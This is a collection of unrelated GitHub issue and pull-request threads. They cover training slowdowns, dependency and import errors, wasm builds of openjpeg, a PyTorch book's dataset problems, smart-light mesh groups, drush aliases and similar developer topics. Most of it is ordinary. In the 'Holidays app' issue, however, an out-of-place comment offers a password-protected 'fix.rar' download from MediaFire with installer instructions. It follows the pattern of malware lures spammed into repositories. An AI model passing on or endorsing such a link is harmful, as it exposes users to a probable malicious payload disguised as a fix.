Multiprocessing issue? Advice on running multiple trains at the same time

Hi, I have been trying to run a few training at the same time using the example code given in the README.md. I noticed that some of the runs take a very long time, almost looking like it is stuck. Therefore, I went to check the fps in the tensorboard log.

I started one training at 17:37 and then another at 17:42. I noticed that there is a drop in fps (blue line) at 17:42, exactly when the second train is started. It seems like there is an issue with multiprocessing. When I run more trains at the same time, the drop in fps is even sharper.
I have checked my cpu and gpu resources, they aren't full. top command also shows that there are unused cpu capacity, even when some of the trains are stuck.
May I know is it possible to run multiple trains at the same time? If yes, can you please advise on how to estimate the maximum number of trains I can run?
Here are some details of the server I used:
GPU: NVIDIA GeForce RTX 3090 * 4
CPU: 60 cores
Memory: 320 GB

Hi, @xwong22 . Thanks for using our benchmark. I think your problem is a bit tricky, because each of our experiments is run solely on a machine every time(one job for each experiment on k8s). I can not ensure our code supports running multiple trains at the same time on one machine, but I can give you some debug processes. First, each epoch's time can be divided into collect_rollouts(running simulation) and training models(use trajectories to calculate loss and backpropagation). You can try to print the time of those two parts to see what causes the problem. As you mentioned, maybe the problem lies in the multi-process of the SAPIEN simulator. And you may dig into the implementation details to debug it. Also, I think the SAPIEN repo is also actively maintained. You can submit a issue for help if you do think there is some problem related to SAPIEN.
Good luck!

I see, thank you so much for the prompt reply! May I know what are the specifications of your machine and how long did it take to train the different tasks to obtain the results demonstrated in Figure 6 in your paper?

The details of our machine can be found here. The training details can be found here. The training  of laptop may take more time than 15h for some reason.

Alright, noted. Thank you so much for your help!


optimize using slices

This PR replaces the map-based implementation of db.go with a slice-based implementation. Because iterating over key-value pairs in a map is slower than iterating over a slice, this PR should offer some modest performance speedups.

Yes, thank you for documenting this! I realized the ids were equivalent to the insertion order of records, so I thought that it modifying the map implementation to a slice implementation would roughly preserve id logic. One place where that is NOT preserved is in the db Merge() function; ids (indices) are re-mapped to different records. I think this set of changes is fine, but I do understand that this changes how the db is interpreted; in fact, the db is more a record list than anything else now (given explicit ids are no longer used). I'm happy to chance the semantics (e.g. refer to ids as indices instead) if that makes sense.

Sounds good! Changing the id to idx or something is probably a good idea, but not urgent :). I just added it as an issue.


Can not click on element, It throwing timeout error

Node Version:  v6.9.4

Protractor Version: 5.1.1

Angular Version: 1.2.28

Browser(s): Chrome

Operating System and Version MAC OS Siera - 10.12.3

-My Website URL: https://www.neonmob.com/

protractor configuration file
exports.config = {
directConnect: true,
// Capabilities to be passed to the webdriver instance.
capabilities: {
'browserName': 'chrome'
},
framework: 'jasmine',
specs: ['./Test/LoginTest.js'],
allScriptsTimeout: 120000,
getPageTimeout: 120000,
jasmineNodeOpts: {
showColors: true,
defaultTimeoutInterval: 120000
}

A relevant example test

There is button in the page, when i try to click using protractor , It throws time out error . Unable to click on the element. Same thing work on selenium webdriver. Is this happining becuase old veriosn of angularjs using in my application ?
-My Html element
<span id="trade-btn" class="btn subdued trade small tip ng-binding ng-scope ng-isolate-scope" nm-event="Clicked Trade" nm-event-user-id="78563" nm-event-source="profile" data-placement="top" nm-trades-create="user" ng-switch-default="" data-original-title="Bob zan's trader grade is: A+.">
Trade<iclass="pipe">A+
I used below code to click on the button.
element(by.css("span[id='trade-btn']")).click();

Hi there!
Your question is better suited for StackOverflow or Gitter. Please ask a question there with the 'protractor' tag or post in the Gitter Channel to get help.
From the the getting help section of the README:

Please ask usage and debugging questions on StackOverflow (use the "protractor" tag) or in the Angular discussion group. (Please do not ask support questions here on Github.)

Thanks!

An element that matches that selector does not exist https://www.neonmob.com/ (it doesn't resolve for document.querySelector("#trade-btn") or "span[id='trade-btn']" when I load it in my browser. the troubleshooting channels that @wswebcreation stated are the best way to pursue this.


You need better documentation

Creating better documentation would help a lot, everything seemed to work fine but when asking for a users recommendations I got an empty array. I think I'm missing a function or something.

After testing for a few hours I used 4 accounts and now understand how this works but new documentation would still be helpful.


Try to fix a sleeping barber in fuerte.

We have noticed a sleepiing barber in fuerte. See https://arangodb.atlassian.net/browse/AR-54
What happened is that a timeout alarm went off when some completion handler was already working. This has posted a cleanup routine to the io_context, which changed the _state of the connection in an unforeseen way. This ultimately brought the whole connection to a standstill. It is very hard to reproduce and very susceptible to small changes like more logging.
In this PR we try to change the movements through the state diagram such that rules are strictly observed and we can prove that no sleeping barber occurs.

This is still a work in progress. The current state compiles but is not very well tested.

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9540/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9584/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9592/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9596/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9600/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9606/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9620/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9667/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9669/

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/9676/

http://jenkins01.arangodb.biz:8080/job/arangodb-matrix-pr/9687/

http://jenkins01.arangodb.biz:8080/job/arangodb-matrix-pr/9706/

http://jenkins01.arangodb.biz:8080/job/arangodb-matrix-pr/9707/


AuTest for Split DNS

#7320 and #7321 are required to pass AuTest.

Ready for review. All required PRs are merged.


ModuleNotFoundError: rhino3dm._rhino3dm

Describe the bug
In Python 3.9, sectionproperties v2.0.2, there seems to be a bug with the rhino3dm module. I have the latest version installed (double checked and all) but it will not import.
I am proposing that we make the rhino importer only import when the Geometry.from_3dm() method is called. Currently, I am experiencing an inability to use sectionproperties at all because of this rhino bug :(
To Reproduce
Steps to reproduce the behaviour:

Install sectionproperties in a new Python 3.9.7 virtual environment
Run from sectionproperties.pre.geometry import Geometry
See error, below:

---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_21980/433625605.py in <module>
----> 1 from sectionproperties.pre.geometry import Geometry

~\Anaconda3\lib\site-packages\sectionproperties\pre\geometry.py in <module>
     23 import sectionproperties.pre.bisect_section as bisect
     24 import sectionproperties.post.post as post
---> 25 import sectionproperties.pre.rhino as rhino_importer
     26
     27

~\Anaconda3\lib\site-packages\sectionproperties\pre\rhino.py in <module>
      2 from typing import List, Union
      3 from shapely.geometry.polygon import Polygon
----> 4 from rhino_shapely_interop.importers import RhImporter
      5
      6

~\Anaconda3\lib\site-packages\rhino_shapely_interop\importers.py in <module>
      4
      5 import numpy as np
----> 6 import rhino3dm as rh
      7 from shapely.geometry import (
      8     LinearRing,

~\Anaconda3\lib\site-packages\rhino3dm\__init__.py in <module>
      3     from _rhino3dm import *
      4 else:
----> 5     from ._rhino3dm import *
      6
      7 __version__ = '7.11.0'

ModuleNotFoundError: No module named 'rhino3dm._rhino3dm'

Expected behaviour
sectionproperties imports
Desktop (please complete the following information):

OS: Windows 10
JupyterLab Desktop

@normanrichardson Have you experienced this at all?
Anyone else seeing this in their environments?

@connorferster I created fresh virtual environments (python 3.9.7) on Linux and Windows and unfortunately could not reproduce this. I tried installing from pypi and source, and neither showed the issue you're having.
Perhaps others can weigh in on this?
I agree with what you are proposing, rhino3dm and the importer are not essential to what sectionproperties does and therefore can be imported when Geometry.from_3dm() is called.

Hi @connorferster I also cannot reproduce with windows & python 3.9.
Happy for the import to be moved though :)


fix hasty error

In my hastiness to make #877 I forgot to use Function.call to call the unloading function.

probably, I'll change.

Thanks, looks good


Development: Holidays app - holidays pages

Develop the holiday pages for the holidays app in React.
To do
Set up holiday pages:

[ ] Nation
[ ] Federal
[ ] Alberta
[ ] BC
[ ] Manitoba
[ ] New Brunswick
[ ] Newfoundland and Labrador
[ ] Nova Scotia
[ ] Northwest Territories
[ ] Nunavut
[ ] Ontario
[ ] PEI
[ ] Quebec
[ ] Saskatchewan
[ ] Yukon

Done when:

[ ] Merged into gcds-examples/fable-test-app

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Upgrade qt to v5.6.0

[GDP-280] Upgrade Qt to v5.6

This PR should be merged with https://github.com/GENIVI/genivi-dev-platform/pull/25

@tom--pollard, @RobertAJMarshall
I tested on my raspberrypi3. Please review this PR.
Thanks

The qemux86-64 image builds for me

@tom--pollard, @RobertAJMarshall
Please +1 or -1 after your testing. I'll merge this change.
Thanks.

+1, but it may be quicker just to merge the ivi11/yocto2.1 upgrade in a single PR, including this support for krogon qt5.6.1

I would like to separate qt and ivi upgrade. So I'll merge.
Thanks @RobertAJMarshall and @tom--pollard


npm install failing

npm WARN EPEERINVALID<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>|| 0.14.0-beta1 but none was installed.
node v4.1.1
npm 3.3.6

The install is not failing, it's just a warning. Reference issue: https://github.com/sarink/react-file-drop/issues/3

Thanks

@Dignifiedquire maybe add this to a installation notes in the README?

For me the install is failing:
npm ERR! Darwin 15.0.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "install"
npm ERR! node v4.2.1
npm ERR! npm  v2.14.7
npm ERR! code EPEERINVALID

npm ERR! peerinvalid The package<EMAIL_ADDRESS>does not satisfy its siblings' peerDependencies requirements!
npm ERR! peerinvalid Peer<EMAIL_ADDRESS>wants<EMAIL_ADDRESS>npm ERR! peerinvalid Peer<EMAIL_ADDRESS>wants<EMAIL_ADDRESS>|| 0.14.0-beta1
npm ERR! peerinvalid Peer<EMAIL_ADDRESS>wants<EMAIL_ADDRESS>npm ERR! peerinvalid Peer<EMAIL_ADDRESS>wants<EMAIL_ADDRESS>|| ^0.14.0-rc1

I can get it to install and work correctly if I edit node_modules/react-file-drop/package.json and node_modules/redbox-react/package.json  removing the -beta1 and -rc1 respectively.

If you upgrade to npm@3 the install will work

@Dignifiedquire might be worth to add that info to the README.md, seems that there is a considerable amount of people hitting the npm 2 vs 3 problem

npm 3 works for me.  Thanks.  I updated the README in a PR.


IDE warning about the fragmentTransition when copying the code from the README sample

In the section that shows
class OpenSourceLicensesDialog : DialogFragment() {

  fun showLicenses(activity: AppCompatActivity) {
    val fragmentManager = activity.getSupportFragmentManager()
    val fragmentTransaction = fragmentManager.beginTransaction()
    val previousFragment = fragmentManager.findFragmentByTag("dialog_licenses")
    if (previousFragment != null) {
      fragmentTransaction.remove(previousFragment)
    }
    fragmentTransaction.addToBackStack(null)

    show(fragmentManager, "dialog_licenses")
  }

  override fun onCreateDialog(savedInstanceState: Bundle?): Dialog {
    val webView = WebView(requireActivity())
    webView.loadUrl("file:///android_asset/open_source_licenses.html")

    return Builder(requireActivity())
      .setTitle("Open Source Licenses")
      .setView(webView)
      .setPositiveButton("OK",
        DialogInterface.OnClickListener { dialog: DialogInterface, which: Int -> dialog.dismiss() })
      .create()
  }
}

The IDE is complaining that there is no commit() call on the fragmentTransaction.
Is this a false-positive warning from the IDE, or should this snippet be updated to contain more correct code?
Not super familiar myself with such dialog handling so I can't deduce that myself to give some suggestion.

I did end up testing this a bit, and turns out that if you do commit() and then you close this dialog by clicking outside of its bounds, then if you press the back button it does nothing, since it first consumes this committed fragment which doesn't get dismissed properly when just clicking outside.
So I think if anything this is a false positive warning from the IDE, I'll leave this open in case someone else knows something more about this.


[Configuration Store] Support for Partial Search

Configuration management REST API[1] is currently supported with Apache CXF 3.2 based OData search query parser[2]. This does not support partial search operators.
Partial search support is a useful feature during the Resource search. Therefore in order to support this, need to check the feasibility to integrate Apache Olingo to get the OData protocol supported.
[1] Search Documentation
[2] CXF based OData parser

This issue is being closed due to extended inactivity. Please feel free to reopen it if further attention is needed. Thank you for helping us keep the issue list relevant and focused!


⚠ Bofrost.fr has degraded performance

In 6614f0e, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1390 ms

Resolved: Bofrost.fr performance has improved in a9ead23 after 6 minutes.


Update required azdata versions

Deployments utilize features only available in the latest release so make sure we require that version

Pull Request Test Coverage Report for Build 413998625

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 41.558%

Totals

Change from base Build 413966237:
0.0%

Covered Lines:
22101

Relevant Lines:
48810

💛  - Coveralls


While clicking on a top level, map is zooming

You can prevent zooming with L.DomEvent.disableClickPropagation(elem)

thanks for your feedback, I appreciate it


Add DataTable component with pagination

Thank you :pray:
You just became the first contributor.

Glad to be the first 😊


Add files via upload

Prints hello world in java using Enumeration

fix the name. read contributing.md


[website] Remove designer role from Careers page

[x] I have followed (at least) the PR section of the contributing guide.

Getting close to filling this role so guess it's time to remove it.

How would I do that?


tfx extension publish shows incorrect "sharing" status

Just updated a public extension, tfx extension publish shows this after publishing:
=== Completed operation: publish extension ===

Packaging: XXXXX
Publishing: success
** - Sharing: not shared (use --share-with to share)**

I have also updated private extensions and it incorrectly indicates the extension is not shared, even though it has previously (and is currently) shared with multiple accounts.

@trevorsg - can you take a look?

I suppose if it's public, we should omit the Sharing feedback since that
doesn't really make sense.
On Wed, Feb 10, 2016 at 1:39 PM, Will Smythe<EMAIL_ADDRESS>wrote:

@trevorsg https://github.com/trevorsg - can you take a look?
—
Reply to this email directly or view it on GitHub
https://github.com/Microsoft/tfs-cli/issues/74#issuecomment-182521832.

Yah. And on an 'update' of a private extension, consider just querying the server to see how many accounts the extension is shared with and then report whatever this number is.

Ah, makes sense.
On Wed, Feb 10, 2016 at 1:57 PM, Will Smythe<EMAIL_ADDRESS>wrote:

Yah. And on an 'update' of a private extension, consider just querying the
server to see how many accounts the extension is shared with and then
report whatever this number is.
—
Reply to this email directly or view it on GitHub
https://github.com/Microsoft/tfs-cli/issues/74#issuecomment-182530231.


luci-mod-network: wireless.js: implement method to set Operating Channel Validation

Setting Operating Channel Validation has long been possible in the wireless config file with the ocv parameter, and this pull request implements a method to set it in luci. It is done by adding a drop-down menu below the 802.11w settings in the wireless security tab as seen in the screenshot below:

This option is not relevant for all modes and security configurations, so I've added a dependency permutation that limits the drop-down menu to appear only when it can actually be set. This all boils down to whether 802.11w can be set for the specific combination of mode and encryption because OCV requires 802.11w to be set to either optional or mandatory.
The OCV setting has two enabled values, where one is a workaround mode that allows buggy clients to connect. This setting is only relevant in ap or ap-wds mode, so I've added a validator function that will warn the user if they've selected this option while in sta or sta-wds mode. The validator function also warns if 802.11w is set to disabled.
I've done some limited testing on my setup with an R7800 running in ap mode with WPA3-SAE+802.11r encryption. It's probably a good idea if more people could take this for a spin to make sure that it works properly. I would also appreciate any comments about the positioning of the drop-down menu, the text strings I've used etc.

[x] This PR is not from my main or master branch :poop:, but a separate branch :white_check_mark:
[x] Each commit has a valid :black_nib: Signed-off-by<EMAIL_ADDRESS>row (via git commit --signoff)
[x] Each commit and PR title has a valid :memo: <package name>: title first line subject for packages
[ ] Incremented :up: any PKG_VERSION in the Makefile
[x] Tested on: (ipq806x, 25381-336a531c15, Firefox 123.0) :white_check_mark:
[ ] ( Preferred ) Mention: @ the original code author for feedback
[x] ( Preferred ) Screenshot or mp4 of changes:
[x] Description: (describe the changes proposed in this PR)

For full completeness you should run ./build/i18n-sync.sh so the translation files gets updated with your new strings, see https://github.com/openwrt/luci/wiki/i18n#translation-files.

Ok, now I've included a commit that updates the translation files. Thanks for the tip, @dannil!

@huaracheguarache could you rebase your changes please?


Stream from slice is totally broken

There is a small misunderstanding going on ...
C assumes the end of the stream is signaled by -1
Rust uses 0.
Result: It never returns.
Will submit a PR soon.

Yep. I have it working and will make the PR tomorrow.

Do you know anything about opj_decoder_set_strict_mode ? I got a missing symbol when compiling to wasi.

Yes.  That was added recently to Openjpeg.  It allows support for decoding truncated jp2 images, which is used for progressive downloading (showing low-res image before the full image has downloaded).
Looks like it hasn't been included in a Openjpeg release yet.

My fork of openjpeg-sys has support for strict mode: https://github.com/Neopallium/openjpeg-sys

I am using your fork. It compiles and runs fine for x86-64. However the wasi build has this one unresolved symbol.

Would you mind if I make a PR with wasi support that feature-gates it?

Yes.  That would be cool.

If you open the PR, I can try helping debugging the wasm build issue.

The problem might be with the build.rs script for openjpeg-sys.

I was able to compile the examples as wasm32-wasi using this command:
CC="${WASI_SDK_PATH}/bin/clang -D_WASI_EMULATED_PROCESS_CLOCKS -lwasi-emulated-process-clocks --sysroot=${WASI_SDK_PATH}/share/wasi-sysroot" cargo build --no-default-features --features image --target=wasm32-wasi --examples

Using wasi-sdk version 14 from here: https://github.com/WebAssembly/wasi-sdk/releases
Would be nice to have an easier wasi feature gate for compiling.
I didn't get any linking errors about the .._set_strict_mode symbol.

It compiles fine. But you can't run it because the symbol is not defined.

How are you running the examples?  I am trying with wasmtime and just get Error: File not found: "test.j2k" errors.

wasmtime ./target/wasm32-wasi/debug/examples/dump_jp2.wasm ./tests/test.j2k

Got it to run:
wasmtime --dir=./ ./target/wasm32-wasi/debug/examples/dump_jp2.wasm ./tests/test.j2k

Had to give it access to the current folder.

Maybe I compiled it with the wrong openjpeg code.

struct Data {
    wasi: WasiCtx,
    api: ApiData,
}

    let mut linker = Linker::new(&engine);
    wasmtime_wasi::add_to_linker(&mut linker, |d: &mut Data| &mut d.wasi).unwrap();
    let wasi = WasiCtxBuilder::new()
        .inherit_stderr()
        .inherit_stdout()
        .inherit_args().unwrap()
        .build();

    let api = ApiData::default();
    let mut store = Store::new(&engine, Data { wasi, api });

    let (api, _instance) = Api::instantiate(&mut store, &module, &mut linker, |d: &mut Data| &mut d.api)
        .unwrap();

    api.jp2k(&mut store, data);

It might be pulling in your systems openjpeg?
Also try:
cargo clean
cargo update

and the following api.wit file
record image {
    buffer: list<u8>,
    width: u32,
    height: u32,
    bands: u32,
}

jp2k: function(data: list<u8>) -> expected<image, list<u8>>
jbig2: function(data: list<u8>) -> expected<image, list<u8>>

.. and the following code using the jpeg2k crate
wit_bindgen_rust::export!("../api.wit");

fn jpeg2k_image(data: &[u8]) -> Result<api::Image, jpeg2k::error::Error> {
    let image = jpeg2k::Image::from_bytes(data)?;
    let bands = image.num_components();
    let jpeg2k::ImageData { width, height, data, .. } = image.get_pixels(None)?;

    Ok(api::Image {
        buffer: data, width, height, bands
    })
}

pub struct Api;
impl api::Api for Api {
    fn jp2k(data: Vec<u8>,) -> Result<api::Image, Vec<u8>> {
        jpeg2k_image(&data).map_err(|e| e.to_string().into())
    }
    fn jbig2(data: Vec<u8>) -> Result<api::Image, Vec<u8>> {
        let mut ctx = jbig2::Context::new(&data)?;
        let jbig2::Image { buf, width, height } = ctx.get_page()?;
        Ok(api::Image { buffer: buf, width, height, bands: 1 })
    }
}

That last block of code with the jpeg2k_image(.....) rust code.  Does it build directly against the jpeg2k crate?

against a local copy

A short term fix  would be to disable all references to ..._set_strict_mode in jpeg2k and openjpeg-sys.  Using both as a local copy.
Try that to just see if it compiles and runs.

It looks like the vendor submodule is incorrect locally..

Yes, I disabled that yesterday and deployed it. I am now trying to make it so it does not depend on a local copy.

My local openjpeg-sys vender folder is at commit:
commit 3db5f0e48cb841e5394929714e9c1b3ac7211049 (HEAD -> partial_decode_mode, origin/partial_decode_mode)
Author: Robert G. Jakabosky<EMAIL_ADDRESS>Date:   Sun Jan 30 00:18:32 2022 +0800

cd openjpeg-sys/vendor/
git log | head

Mine is not..

also check in your jpeg2k folder:
cargo tree | grep openjpeg
├── openjpeg-sys v1.0.6 (https://github.com/Neopallium/openjpeg-sys#ef4dba07)

If the commit hash isn't ef4dba07, then try cargo update and check again.

The submodule is the problem. All dependencies are local. I am trying to figure out how to change it.

I think the command might be:
git submodule update
or
git submodule sync

I need to open a PR on the original openjpeg-sys repo for the .._set_strict_mode change.  That repo has already updated their vendor folder, so it just needs the ffi symbol.

Your local openjpeg-sys might be forked from the original https://github.com/kornelski/openjpeg-sys
I opened a PR on that repo to add the strict mode support.

Thanks!


Spelling mistake repair

The past tense of occur should be "occurred" not "occured" . double r

Thanks!


fix: MathML \lim\limits in Safari

Fix #2028.

Codecov Report

Merging #2556 into master will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master    #2556   +/-   ##
=======================================
  Coverage   93.83%   93.83%
=======================================
  Files          84       84
  Lines        6145     6148    +3
  Branches     1260     1262    +2
=======================================
+ Hits         5766     5769    +3
  Misses        348      348
  Partials       31       31

Impacted Files
Coverage Δ

src/functions/op.js
98.91% <100.00%> (ø)

src/functions/operatorname.js
96.72% <100.00%> (ø)

src/functions/supsub.js
94.53% <100.00%> (+0.13%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e0ba19d...ca11574. Read the comment docs.

hi @ylemkimon - when are you planning to release a new tag for this fix? Thanks!


chapter 3

issue: no ./train directory
def check_image(path):
try:
im = Image.open(path)
return True
except:
return False
img_transforms = transforms.Compose([
transforms.Resize((64,64)),
transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225] )
])
train_data_path = "./train/"
train_data = torchvision.datasets.ImageFolder(root=train_data_path,transform=img_transforms, is_valid_file=check_image)
val_data_path = "./val/"
val_data = torchvision.datasets.ImageFolder(root=val_data_path,transform=img_transforms, is_valid_file=check_image)
batch_size=64
train_data_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size,shuffle=True)
val_data_loader  = torch.utils.data.DataLoader(val_data, batch_size=batch_size, shuffle=True)
if torch.cuda.is_available():
device = torch.device("cuda")
else:
device = torch.device("cpu")
FileNotFoundErrorTraceback (most recent call last)
 in ()
12     ])
13 train_data_path = "./train/"
---> 14 train_data = torchvision.datasets.ImageFolder(root=train_data_path,transform=img_transforms, is_valid_file=check_image)
15 val_data_path = "./val/"
16 val_data = torchvision.datasets.ImageFolder(root=val_data_path,transform=img_transforms, is_valid_file=check_image)
~/anaconda3/lib/python3.6/site-packages/torchvision/datasets/folder.py in init(self, root, transform, target_transform, loader, is_valid_file)
207                                           transform=transform,
208                                           target_transform=target_transform,
--> 209                                           is_valid_file=is_valid_file)
210         self.imgs = self.samples
~/anaconda3/lib/python3.6/site-packages/torchvision/datasets/folder.py in init(self, root, loader, extensions, transform, target_transform, is_valid_file)
91         super(DatasetFolder, self).init(root, transform=transform,
92                                             target_transform=target_transform)
---> 93         classes, class_to_idx = self._find_classes(self.root)
94         samples = make_dataset(self.root, class_to_idx, extensions, is_valid_file)
95         if len(samples) == 0:
~/anaconda3/lib/python3.6/site-packages/torchvision/datasets/folder.py in _find_classes(self, dir)
120         if sys.version_info >= (3, 5):
121             # Faster and available in Python 3.5 and above
--> 122             classes = [d.name for d in os.scandir(dir) if d.is_dir()]
123         else:
124             classes = [d for d in os.listdir(dir) if os.path.isdir(os.path.join(dir, d))]
FileNotFoundError: [Errno 2] No such file or directory: './train/'

I will have a look at this in more depth in the coming days, but my first thought is that you'll need to run the download.py script again either in that directory or alter the paths in the notebook to point to where they're living on your disk.

hi! I am a reader of your great book. However, I just can not find the Download.py as you described. Thanks!

Apologies - I forgot to point out that it is in the Chapter 2 directory!

Hi, thank you for your answer! I tried to execute the python code downloads.py in chapter2 directory, however I got some error message, is it possible that you upload the data in the github or somewhere else?
thank you
Downloading 1393 images
Error downloading http://farm1.static.flickr.com/223/522289072_13b4f92d39.jpg
Error downloading http://farm1.static.flickr.com/28/100739452_5be2c11557.jpg
Error downloading http://farm1.static.flickr.com/1/1004527_527c0c32ce.jpg

You may get some errors from the list of images depending if they're no longer available or not, but you should still end up with enough images downloaded for training. Just let the script run and then update the paths to the dataset appropriately.

Hi, thanks for you help. Besides errors, downloads.py seems to work. However, unfortunately, new errors has come when I implement Chapter3.ipynb in chapter3directory. The error shows:
Python 3.6.5 |Anaconda, Inc.| (default, Apr 29 2018, 16:14:56)
Type 'copyright', 'credits' or 'license' for more information
IPython 6.4.0 -- An enhanced Interactive Python. Type '?' for help.
TypeError       Traceback (most recent call last)
~/git/programming_pytorch_for_dl/beginners-pytorch-deep-learning/chapter3/Chapter 3.py in ()
124 train_data = torchvision.datasets.ImageFolder(root=train_data_path,transform=img_transforms, is_valid_file=check_image)
125 val_data_path = "./val/"
--> 126 val_data = torchvision.datasets.ImageFolder(root=val_data_path,transform=img_transforms, is_valid_file=check_image)
127 batch_size=64
128 train_data_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size,shuffle=True)
~/anaconda3/lib/python3.6/site-packages/torchvision/datasets/folder.py in init(self, root, transform, target_transform, loader, is_valid_file)
207                                           transform=transform,
208                                           target_transform=target_transform,
--> 209                                           is_valid_file=is_valid_file)
210         self.imgs = self.samples
~/anaconda3/lib/python3.6/site-packages/torchvision/datasets/folder.py in init(self, root, loader, extensions, transform, target_transform, is_valid_file)
95         if len(samples) == 0:
96             raise (RuntimeError("Found 0 files in subfolders of: " + self.root + "\n"
---> 97                                 "Supported extensions are: " + ",".join(extensions)))
98
99         self.loader = loader
TypeError: can only join an iterable

It still looks like it's not finding the image files. I'll take a look this weekend for you - but my first instinct would be to make sure that  val_data_path = "./val/" value is actually pointing to where the files are stored on the disk, which may depend on where you're running download.py

HI, yes it looks like the problem of the val directory, and indeed, I check the val, it contains two folders, in which I find these two folders are blank itself.... So how may I fix this? previously, you mentioned that even if there is error running when I exe. download.py I could get image files or something and it is ok that I use Ctrl + C to terminate at some point. (Since is running like forever), so maybe that is a little problem downloading the data? How to fix this? Or is it possible to, say commit another code to solve this prob? thank you

Hmm, I just ran the notebook myself locally, and I'm not seeing any issues with the training / validation. What are the names of those directories in that val directory? Providing you've got images in val, you can probably just delete them if they're blank…

HI, seriously, everything just doesn't work for me. Running the download.py:
Creating directory ./train/cat
Creating directory ./train/fish
Creating directory ./test/cat
Creating directory ./test/fish
Creating directory ./val/cat
Creating directory ./val/fish
Downloading 1393 images
Error downloading http://farm2.static.flickr.com/1245/1259825348_6a2aa94e8d.jpg
Error downloading http://farm2.static.flickr.com/1080/1029412358_7ee17550fc.jpg
I just have errors.
What is have is three dirs: train test and val
inside all of these I gott cat and fish directory, which are blank.
I copy the dir into chapter3, it just doesn't work.

That is really odd. I'll zip up my local copy of the training/test/val directories and send it to you to try this week!

Try this zip file! https://drive.google.com/open?id=16h8E7dnj5TpxF_ex4vF2do20iMWziM70

That zip file seems to also be missing many files.......

question? if I don't stop the script, the image will continue to download whether the unfound link exist?

Yes. Lots of images have 0 bytes or wrong sizes. What can I do?


Cannot control multiple devices simultaneously

Hi,
I use the v3 gateway with fm v1.4.5_0016, I have around 20 Yeelight Mesh Downlight (YLSD01YL) connected (Bluetooth Mesh Devices). Using some automation and lights groups, the behaviour is very slow, and very far from the simultaneous scenario wished.
For example I have 5 downlights in my corridor, tring to switch them on or off, first takes one second, then the second one also, the third, ... see the video below.
https://user-images.githubusercontent.com/9740002/107291201-136d3800-6a68-11eb-88fe-df328c1bbf92.mp4
Is this a known problem? If so, is a solution possible?
In the meantime, is there a workaround?
Thanks for your great work and help.

Use MiHome mesh groups. They will sync with Hass as separate devices.
Not Hass groups. Not Mihome cloud groups!

And update fw to 146 if MiHome offer you exact this firmware

Use MiHome mesh groups. They will sync with Hass as separate devices.
Not Hass groups. Not Mihome cloud groups!

I had created a group, but not visible in hass ?

And update fw to 146 if MiHome offers you exact this firmware

Unfortunatly MiHome only offers me the 1.4.7_0115 👎

Did you try restart integration/hass? Mesh updates only on first start.
Sometimes mesh group don't sync with gate. I don't know why. Some software problem.
You may try to recreate group once again with power off gate. May be it sync after gateway back online.

Hi,
Yes I tried restart the integration, HASS, Gateway, even create a light group in Xiaomi Home and one in Yeelight
I also added new downlights and created a group, after I restarted HASS, I have the new downlights but not the new group ..

Any ideas ?

Can you control this group in MiHome if you not at home? To ensure if it works with gw3.

Yeah, it works from outside. This is not local BT connection.

Enable component logs and show what happened on component start.

After installing the latest version (0.12.2) I can now see them !
Good !

The behaviour is better but, next issue .. not related to this pluggin.
As I said I bought a whole lot of Yeelight YLSD01YL ceiling lights (smart downlight working in BT Mesh)
I have a strange behavior because some of these downlights are in version 1.3.0_0075 and others have version 1.2.0_0063 while the Xiaomi Home or Yeelight application tells me in both cases that the firmware version that is installed is the latest.
So I have the feeling that I don't have the same version of the hardware in these downlights and the big concern being that the way in which its lights are switching on and off is not the same. (1.2.0_0063 lights up fast and 1.3.0_0075 are more progressive). The consequence is that the visual experience is not good since I have some downlights light up before the others.
Is someone experiencing the same ? How should I proceed in order to unify the behavior of all my downlights ?
Same models, but ...

... Different latest firmware

I don't get it ..


Config does not rebuild since update 1.2

I deleted the conf files bc it's an new system and all, but the config does not setup by itself.
The files laborus.conf and db creates, but conf with 1 empty line in it.

There only should be the laborus.conf and the db file the config is filled with the default values after the first stop of the server.

I deleted all files again and an laborus.conf do not create by itself now.

The server got much lags btw after the update. I cannot say way.

Also tried to delete the folder not only the files, same problem.
Seems that my system lagged, but still the conf does not create.

I can confirm that the config isn't created I'm currently searching for the reason :)

The good thing is that I tested it and not new people just hates ur plugin if they start with 1.2 :P

I found the bug, it should be fixed in the next version that i should release in a few minutes. The file now also gets generated at the start of the server :)

It's out: https://ore.spongepowered.org/Lergin/Laborus/versions/1.2.1


Support for drush 9.0.0-rc1 (changed alias file naming convention again)

See
https://github.com/drush-ops/drush/releases/tag/9.0.0-rc1

Simplified site aliases. Fixes #3107 (#3184)

More specifically: https://github.com/drush-ops/drush/issues/3107#issuecomment-340040803
I updated drush and was driving me nuts why aliases were not there.
Renaming group.alias.yml to group.site.yml
Kind of worked.
There's another issue though, which is that running platform drush-aliases -r now doesn't work because it runs:
drush @none sa @OLDGROUP
If you are creating aliases for the first time and group is not there, before it simply return a string but the command was OK, now it throws an exception so the aliases can't be generated.
The above becomes the norm when you update drush as it simply find no aliases.
